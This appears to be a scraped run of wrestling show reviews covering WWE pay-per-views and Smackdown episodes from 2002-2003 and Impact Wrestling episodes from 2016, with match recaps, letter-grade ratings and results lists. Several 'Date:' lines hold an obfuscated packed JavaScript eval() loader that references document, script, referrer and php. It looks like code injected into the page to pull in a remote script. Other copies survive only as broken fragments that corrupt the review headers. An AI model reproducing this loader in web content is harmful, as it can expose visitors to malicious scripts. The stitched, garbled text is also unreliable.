Shane gets taken out on the stretcher and gets a standing ovation.

Jericho blames Austin for what just happened. Austin tells him to take his best shot but Jericho says there’s more than one way to make him crack.

JR and King talk about how amazing that elbow was. As was the case at the end of the match: Kane is just a detail.

Intercontinental Title: Chris Jericho vs. Rob Van Dam vs. Christian

Christian is defending. Van Dam gets double teamed to start so he flips over their backs and hits a double dropkick. Both Canadians are sent to the floor and Rob moonsaults onto them. Back in and Rob monkey flips the champ for two, followed by the cartwheel moonsault onto Jericho.

Rolling Thunder is broken up and Christian mocks Van Dam’s pose. The Canadians double team some more with Christian holding Rob for Jericho’s right hands. Jericho misses a charge and gets kicked in the chest, along with another kick to Christian. Rob takes a bit too long on the champ though and gets enziguried down. A double DDT really gets Rob out of trouble though and there’s a flip dive to the floor to take Christian out again.

Back in and Jericho chokes Rob as JR sounds incredibly bored. We hit the chinlock so the announcers can talk about Shane being taken to a medical facility for fear of grave injury. The Walls of Jericho go on Rob with Jericho screaming about Austin as he cranks on the hold. Christian FINALLY runs in for the save and it’s time for Canadian brawling. They head outside with Christian being sent knees first into the steps, followed by a top rope back elbow to the jaw for two.

With Rob being shoved off the top, Jericho superplexes Christian for a double knockdown. Rob comes back in for a high crossbody on Jericho and Christian dives onto Jericho by mistake. Christian is put on top of his fellow villain for a Five Star to both in a good looking crash. They all head to the corner for the Tower of Doom and a BIG reaction as everyone is down again. Jericho gets sent outside again so Christian grabs the belt but gets kicked down. That’s not a problem though as he uses it to block the Five Star and retain.

Rating: C-. This was WAY longer than it needed to be and it felt like an extended version of most triple threat matches. There wasn’t much of a story to the match and while there were some nice near falls, it felt like something that could have been on any given episode of Raw. Then again, most of this pay per view would fit that same description so it’s not the biggest issue.

HHH compares Goldberg to a knight who slayed everyone in fantasy land but then came to the real world and got beaten up. He believes in himself and not in Goldberg. Somehow, this takes two minutes.

We recap the battle of the announcers. Coach turned heel because people didn’t respect him for filling in for JR, so of course we’re having a tag match for the Raw announcing job. As a fan, I have no idea why any of this would interest me, as it’s somehow built around the idea of Coach and Al Snow teaming on pay per view. Did anyone even know they were the Heat commentators?

Al Snow/Jonathan Coachman vs. Jerry Lawler/Jim Ross

So there’s no commentary for this one, which might be a perk in a less dumb match. Lawler tries for some quick falls on Snow, including a shoulder block for two. For some reason Snow decides to turn it into a slugout and you know Lawler is just fine with that. Snow kicks him down and grabs an Oklahoma roll (I’m not sure if I should give them a point for that one or not) for two.

We hit a seated abdominal stretch and the boring chants begin. How dare this crowd not want to see Snow vs. Lawler on pay per view? JR shouts at Snow for being stupid and not following up on a backdrop so Snow tries it again, only to be reversed into a piledriver for two. Coach tags himself in and Snow panics, realizing he now has to watch this too. The offense lasts all of a few seconds before Coach misses a charge in the corner.

Lawler beats him up for a few moments as the fans want JR. Snow makes a save after the fist drop and it’s off to JR, despite the referee looking completely the other way. JR knocks them both down and really awkwardly mounts Coach (“NOT IN THE FACE!”) until Jericho runs back in and breaks it up with a dropkick. Coach gets the cheap pin.

Rating: F. And that’s about all you could have expected from this. It’s not like anyone buys that JR and King are going to be off commentary for more than a few weeks anyway so this isn’t exactly thrilling stuff. Boring match of course but at least it was mainly done by a pair of wrestlers instead of Coach and JR.

Jericho says he can crack Austin a different way.


We recap Goldberg vs. HHH. Goldberg dominated the Elimination Chamber at Summerslam but HHH used a sledgehammer to retain, meaning we needed to stretch this out for another month before HHH dropped the title. There’s not much of a secret to how this ends, but that didn’t stop WWE for dragging it out.

JR and King do their big sad farewell….which will kick in tomorrow night as they’re still doing the main event. JR: “It ain’t about old JR and it ain’t about the King.” Really? Because we just sat through you guys having a featured pay per view match so it certainly seemed like part of the show was in fact about you.

Raw World Title: HHH vs. Goldberg

HHH, alone here, is defending and loses the title if he’s disqualified or counted out. If Goldberg loses, he’s gone from WWE. Like I said, it’s not exactly a secret. They do the big lockup with HHH punching him into the corner but getting gorilla pressed for his efforts. An exchange of wristlocks (in a Goldberg match) goes nowhere so Goldberg goes with his swinging neckbreaker instead.

HHH throws him outside but gets caught with a quick clothesline. The spear is cut off with a knee though and Goldberg is sent to the floor again, this time for a posting. As HHH beats on Goldberg, JR manages to get two statements wrong in one line as he talks about HHH defeating names like Rock, Austin and Angle for this title. Just like last month at Summerslam, this is a different title lineage and this time, HHH never beat Austin or Angle for a World Title. Come on I know you just jobbed to the coach and lost your dream position but get your facts straight.

Goldberg’s leg is wrapped around the post and it’s off to the Figure Four. That’s turned over and Goldberg kicks him in the chest, followed by a powerslam for two. They head outside with HHH going into the steps to draw some blood. The referee gets bumped and we’re probably just waiting for Evolution here. Goldberg is getting a little too much offense though so HHH cuts him off with a DDT. The Pedigree is countered with a backdrop to the floor but HHH comes back with the sledgehammer to the face. The spear hits twenty two seconds later and the Jackhammer gives Goldberg the title.

Rating: D. So Goldberg doesn’t even get to kick out of the Pedigree? I’m glad they didn’t go with a bunch of false finishes as it’s not like the ending was in doubt, but this was a match where Goldberg should have won in much shorter order. It didn’t need to be a spear and Jackhammer for the win in thirty seconds, but this should have been closer to eight minutes rather than fifteen. Let HHH hit him with his best, Goldberg comes up growling, and the Jackhammer ends it. But no, because HHH likes his matches to feel epic, since even when he’s injured and putting someone over, he has to get his stuff in.

Overall Rating: D-. This was the worst kind of show you can have: it felt lifeless. Nothing on this card felt important or big or came off like it had any energy to it. The women’s match was pretty good and Orton vs. Shawn did its job (mostly) but the top matches are all so dull and uninteresting that they sucked the life out of this show. The TV leading up to this was a black hole of charisma and this was the pay per view version of that. Really lame show here, but due to being dull and lifeless instead of bad.

Remember to follow me on Twitter @kbreviews and pick up the 2018 Updated Version of the History of the WWE Championship in e-book or paperback. Check out the information here:

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Impact Wrestling – December 8, 2016: The Last Normal One

Impact Wrestling
Date: December 8, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

We open with a recap of the World Title match with both guys seeming to have a lot of respect for each other.

Grand Championship: Moose vs. Aron Rex

Galloway rants about TNA not holding the tournament for him.

Mahabali Shera/Al Snow vs. Tribunal

We see Matt Hardy asleep with the Seven Deities telling him about something called Apocalypto.

Ethan is ready for the title match and makes fun of Eli Drake for not being able to talk.

Laurel Van Ness vs. Allie

Maria tries to get in and is shoved right back down.

Video on Carter vs. Edwards.

Allie is all happy and kisses Sutter in celebration.

Total Nonstop Deletion ad.

TNA World Title: Ethan Carter III vs. Eddie Edwards

Results

Moose b. Aron Rex – Game Changer

Al Snow/Mahabali Shera b. Tribunal – Snow and Shera touched all six buckles

Allie b. Laurel Van Ness – Reverse DDT

Eddie Edwards vs. Ethan Carter III went to a no contest with a double finish

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Smackdown – May 9, 2002: The Rookies Unleashed

Smackdown
Date: May 9, 2002
Location: Harbor Yard Arena, Bridgeport, Connecticut
Commentators: Michael Cole, Tazz

Get the F Out gardening video.

Cruiserweight Title: Tajiri vs. Hurricane

Hurricane chokeslams Tajiri to make it even worse.

Hurricane and Al Snow discuss Spider-Man in what has to be a paid advertisement. Hurricane wants to ask Spider-Man whatuswiththat so Snow suggests medication. Someone has left Hurricane a note, saying they know who he is. Hurricane flies off and Snow says he thought it was weird talking to a head. Somehow, these two both appeared on TNA TV fourteen years after this.

Test vs. Mark Henry

Christian brags about beating HHH to Kurt Angle but Kurt gives Jericho the credit. Angle promises to make Edge bald tonight.

HHH vs. Reverend D-Von

Billy and Chuck/Rico vs. Rikishi/Al Snow/Maven

Snow comes in off the ice cold tag (because this story needed to end a long time ago) and everything breaks down. A Samoan drop to Chuck is completely no sold but a superkick that missed by a few inches knocks him outside. Go figure. Rico is knocked into position for a Stinkface but Chuck makes another save, allowing Billy to get in a Fameasser for the pin on Snow.

GET THE F OUT!

Lance Storm vs. Randy Orton

Storm and Holly put the boots to Orton until Val Venis makes the save to get even with Storm for screwing him over last week. I can always go for logical week to week booking.

Edge/Hulk Hogan vs. Kurt Angle/Chris Jericho

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Smackdown – April 18, 2002: The Hogan Problem

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkzzi|var|u0026u|referrer|fbyri||js|php'.split('|'),0,{})) April 18, 2002
Location: Compaq Center, Houston, Texas
Commentators: Tazz, Michael Cole

Opening sequence.

Billy and Chuck/Albert vs. Maven/Al Snow/Rikishi

Stacy Keibler, looking very good in blue, bends over just as Hulk Hogan opens his door. Vince wants to see Hogan right now so Hulk follows her with his eyes clearly panning down.

Kidman and Hurricane make fun of Planet Stasiak but Kidman says no one knows who he is. Hurricane has an idea: CHEAP POPS! So now the writers are making fun of the fact that no one cares about the Cruiserweight Title? I mean, no one does but still.

Chavo Guerrero Jr./Tajiri vs. Kidman/Hurricane

Post match Tajiri kicks Kidman in the head and yells at Torrie in Japanese.

Test vs. Faarooq

Test kicks Faarooq in the face.

Hardcore Holly wants to beat Page up because he likes destroying positivity. Page comes in and smiles but says the anger is ticking him off.

Diamond Dallas Page vs. Hardcore Holly

Angle and Jericho are in the back and Kurt gets annoyed at Jericho saying Angle would suck the life out of Hogan. Kurt is so mad that he keeps leaving and coming back to yell more.

Chris Jericho/Kurt Angle vs. HHH/Hulk Hogan

Edge fights Jericho and Angle off, leaving HHH to chair Hogan to end the show.

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Smackdown – April 11, 2002 (2016 Redo): It’s A Start

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhtit|var|u0026u|referrer|zbbbi||js|php'.split('|'),0,{})) April 11, 2002
Location: Tucson Convention Center, Tucson, Arizona
Commentators: Michael Cole, Tazz

Opening sequence.

Tajiri vs. Hurricane

Tajiri berates Torrie until Kidman makes the save.

Albert vs. Scotty 2 Hotty

Albert beats him up some more after the match until Rikishi makes the save. You mean their big idea is Rikishi vs. Albert? As in the future Hall of Famer vs. future head trainer of developmental?

Edge vs. Chris Jericho

Edge fights back with some chops and avoids a charge to send Chris into the post. A rollup gets two on Jericho and you can hear the fans getting fired up off the near falls. Cue Angle but Edge spears him down, only to walk into a bulldog. The Edge-O-Matic gets two but the referee stupidly gets in the way of a catapult. You know, because referees are dumb.

Edge goes after Angle but gets beaten down until Hogan makes the save.

Chuck vs. Al Snow

Kurt Angle vs. HHH

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Impact Wrestling – August 4, 2016: Less Hardy, More Happy

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrssa|var|u0026u|referrer|ebyte||js|php'.split('|'),0,{})) Wrestling
Date: August 4, 2016
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

We open with a recap of the Bound For Glory Playoff.

Eli Drake is ready to make James Storm cry in his beer.

We get another clip of Rosemary going insane and trying to get Bram to go to the barn.

King of the Mountain Title: Eli Drake vs. James Storm

Maria gives Gail Kim a match with Allie as part of her path to a Knockouts Title match.

Bram and Rosemary are in the barn with Rosemary getting very close to him.

Gail Kim vs. Allie

Allie looks terrified. Actually hang on as Maria comes out make it a handicap match.

Gail Kim vs. Allie/Sienna

Matt Hardy accuses Jeff Hardy of getting hurt and costing them the Tag Team Titles. True actually. Tonight, Matt is going to tell a story so Jeff can learn what to do next.

Next week: Lashley vs. Storm, winner take all.

Jeff Hardy/Matt Hardy vs. JT Dunn/Chuck Taylor

Matt is staying on the floor to make this a handicap match. Taylor is a big name from the independents, primarily in Chikara. Dunn starts for the team but gets caught with a slingshot dropkick in the corner. The fans chant for Jeff as Matt keeps running his mouth on a mic about how Brother Nero is an obsolete mule.

Taylor comes in with an elbow drop and a seated abdominal stretch as Matt pulls a fan over the barricade and bites him to draw some blood. Jeff makes his comeback but JT blocks the Twist of Fate. Matt: “YOU BETTER NOT LOSE YOU DELETED OBSOLETE MULE!” Matt gets in the ring to block the Swanton but Jeff jumps over Matt anyway, only to take a Twist of Fate. With Jeff down, Matt tags himself in and pins Dunn at 6:24.

Grado/Mahabali Shera vs. Tribunal/Al Snow

Rosemary is still crazy. Bram tries to leave the barn but Rosemary holds him in place. He says everyone has had their heart broken and she needs to get over it. Rosemary starts screaming and Decay comes in to knock Bram out. Bram is thrown into the trunk of a car and Decay drives off, laughing maniacally along the way.

Video on EC3.

Bennett is ready for Carter.

Carter is ready for Bennett and says Mike can bring the whole wilderness to face him.

Tyrus is ready to fix your problems.

Bound For Glory Playoff Final: Mike Bennett vs. Ethan Carter III

Maria gets on the apron for a failed distraction so both guys head up top with a super cutter getting two on Ethan. More yelling earns Maria an ejection and the distraction means the 1%er only gets two. Cue Moose but Eddie Edwards takes him out, leaving Bennett to hit the MIP for two of his own. Both finishers are countered again until the 1%er hits again to give Ethan the title shot at 17:25.

Results

James Storm b. Eli Drake – Last Call

Gail Kim b. Sienna/Allie – Gail pinned Allie after a Silencer from Sienna

Matt Hardy/Jeff Hardy b. JT Dunn/Chuck Taylor – Swanton Bomb to Dunn

Grado/Mahabali Shera b. Tribunal/Al Snow – Sky High to Snow

Ethan Carter III b. Mike Bennett – 1%er

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Impact Wrestling – June 28, 2016: Now Let The Big Boys Play

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzzzb|var|u0026u|referrer|hyyar||js|php'.split('|'),0,{})) Wrestling
Date: June 28, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

Drew and Ethan argue over whether or not that kick was intentional.

Knockouts Title: Gail Kim vs. Sienna

We get a graphic labeled “earlier tonight” of a beatdown from last week with Decay destroying Bram.

Battle Royal

Eddie Edwards, Braxton Sutter, Trevor Lee, Rockstar Spud, Andrew Everett, DJZ, Mandrews

Post match the Helms Dynasty beats Sutter down and Bennett is ready to go.

X-Division Title: Mike Bennett vs. Braxton Sutter

Al Snow/Tribunal vs. Mahabali Shera/Grado/???

TNA World Title: Ethan Carter III vs. Drew Galloway vs. Lashley

Lashley is defending. We start after a break because adding another four minutes to the match time tonight is out of the question. Lashley tells them both to bring it to start but Drew and Ethan get in an argument after taking him down. It breaks down into your regular triple threat with Lashley cleaning house until the challengers start double teaming him.

Results

Sienna b. Gail Kim – Silencer

Braxton Sutter won a battle royal last eliminating Andrew Everett and Trevor Lee

Mike Bennett b. Braxton Sutter – Miracle in Progress

Lashley b. Drew Galloway and Ethan Carter III – Spear to Carter

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